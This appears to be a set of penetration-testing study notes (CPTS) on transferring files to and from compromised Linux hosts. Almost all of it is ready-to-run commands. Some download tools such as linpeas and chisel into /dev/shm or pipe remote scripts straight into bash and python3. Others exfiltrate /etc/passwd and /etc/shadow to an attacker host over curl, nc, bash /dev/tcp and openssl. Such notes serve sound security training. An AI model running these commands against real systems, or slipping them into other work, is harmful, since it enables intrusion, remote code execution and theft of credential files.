~/transfer-linux

Linux Transfers

CPTS Notes5 min read

Download with wget or curl first. Without either, use bash /dev/tcp or nc against a listener on your attack host. With SSH credentials, scp from your attack host moves files both ways. Upload with curl -F to uploadserver, or start a web server on the target and download from it.

The servers are in Serving Files. The curl and wget flags are in Requests and Transfer.

Download

wget and curl

wget http://10.10.14.20/linpeas.sh -O /dev/shm/linpeas.sh # download with wget
curl http://10.10.14.20/linpeas.sh -o /dev/shm/linpeas.sh # download with curl

Make it executable:

chmod +x /dev/shm/linpeas.sh # set the execute bit

Run a script in memory, with no copy on disk:

curl -s http://10.10.14.20/linpeas.sh | bash # run a shell script
wget -qO- http://10.10.14.20/script.py | python3 # run a Python script

-qO- makes wget quiet and writes the file to standard output.

bash /dev/tcp

Bash opens a TCP connection when a command reads from or writes to /dev/tcp/<host>/<port>. It needs no other tool. The path exists only inside bash, so sh and dash fail.

Serve the file from a listener on your attack host:

nc -lvnp 443 -q 0 < linpeas.sh # send the file to the first connection

Read it on the target:

cat < /dev/tcp/10.10.14.20/443 > /dev/shm/linpeas.sh # save the file from the listener

-q 0 closes the connection after it sends the file. Without it the target waits for more data. The close flag differs per netcat version (see the table below).

Over HTTP, /dev/tcp also reads from your web server:

exec 3<>/dev/tcp/10.10.14.20/80 # open fd 3 for read and write
printf 'GET /linpeas.sh HTTP/1.0\r\nHost: 10.10.14.20\r\n\r\n' >&3 # send the request
cat <&3 > /dev/shm/linpeas.sh # save the response

The saved file starts with the HTTP headers. Delete them before you run a script. Use the nc listener for binaries.

nc and ncat

The target can listen or connect. Connect from the target when a firewall blocks inbound traffic.

Target connects to your listener:

nc -lvnp 443 -q 0 < chisel # attack host: send the file
nc 10.10.14.20 443 > /dev/shm/chisel # target: save the file

Target listens and you connect:

nc -lp 8000 > /dev/shm/chisel # target: save the file
nc -q 0 $TARGET 8000 < chisel # attack host: send the file

Find the netcat version on a host:

nc -h 2>&1 | head -2 # print the version banner
Version Listen Close the connection after the file
Traditional (Kali nc) nc -lvnp 443 -q 0
OpenBSD (Debian and Ubuntu nc) nc -lvn 443 -N
Ncat (ncat, the Pwnbox nc) ncat -lvnp 443 --send-only on the sender, --recv-only on the receiver

-l listens. -v prints the connection. -n skips DNS. -p sets the port.

scp

With the target’s SSH credentials, copy from your attack host:

scp linpeas.sh user@$TARGET:/dev/shm/ # upload to the target
scp user@$TARGET:/etc/passwd . # download from the target
Flag Meaning
-i key Logs in with a private key
-P 2222 SSH port. Uppercase P, unlike ssh -p
-r Copies a folder
-O Uses the old SCP protocol. Try it when the copy fails against an old server

OpenSSH 9.0 and later send scp copies over SFTP by default. -O returns to the old protocol.

Upload

HTTP

To uploadserver:

curl -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' http://10.10.14.20/upload # upload two files

To Nginx with PUT:

curl -T /etc/passwd http://10.10.14.20:9001/up/passwd.txt # upload with a PUT request

nc and /dev/tcp

Catch the file on your attack host:

nc -lvnp 443 > shadow # save the incoming file

Send it from the target:

nc -q 0 10.10.14.20 443 < /etc/shadow # send with nc
cat /etc/shadow > /dev/tcp/10.10.14.20/443 # send with bash /dev/tcp

Web server on the target

Start a web server on the target, then download from it. Inbound traffic to the target port must be allowed.

python3 -m http.server 8000 # serve with Python 3
python2 -m SimpleHTTPServer 8000 # serve with Python 2
php -S 0.0.0.0:8000 # serve with PHP
ruby -run -ehttpd . -p8000 # serve with Ruby
busybox httpd -f -p 8000 # serve with BusyBox, in the foreground

Each serves the current folder on port 8000.

On your attack host:

wget http://$TARGET:8000/backup.tar.gz # download from the target

A web server already on the target serves files too. Copy the file into its web root, for example /var/www/html, and download it.

GTFOBins

GTFOBins lists Linux binaries with download and upload functions. Search +file download or +file upload on the site.

openssl sends a file over TLS, like nc. Start a server on your attack host:

# make a self-signed certificate and key
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -subj '/CN=server' -out cert.pem
# send the file to the first TLS connection
openssl s_server -quiet -accept 443 -cert cert.pem -key key.pem < linpeas.sh

Download on the target:

openssl s_client -connect 10.10.14.20:443 -quiet > /dev/shm/linpeas.sh # save the file

-quiet hides the session details, so the file holds only the data.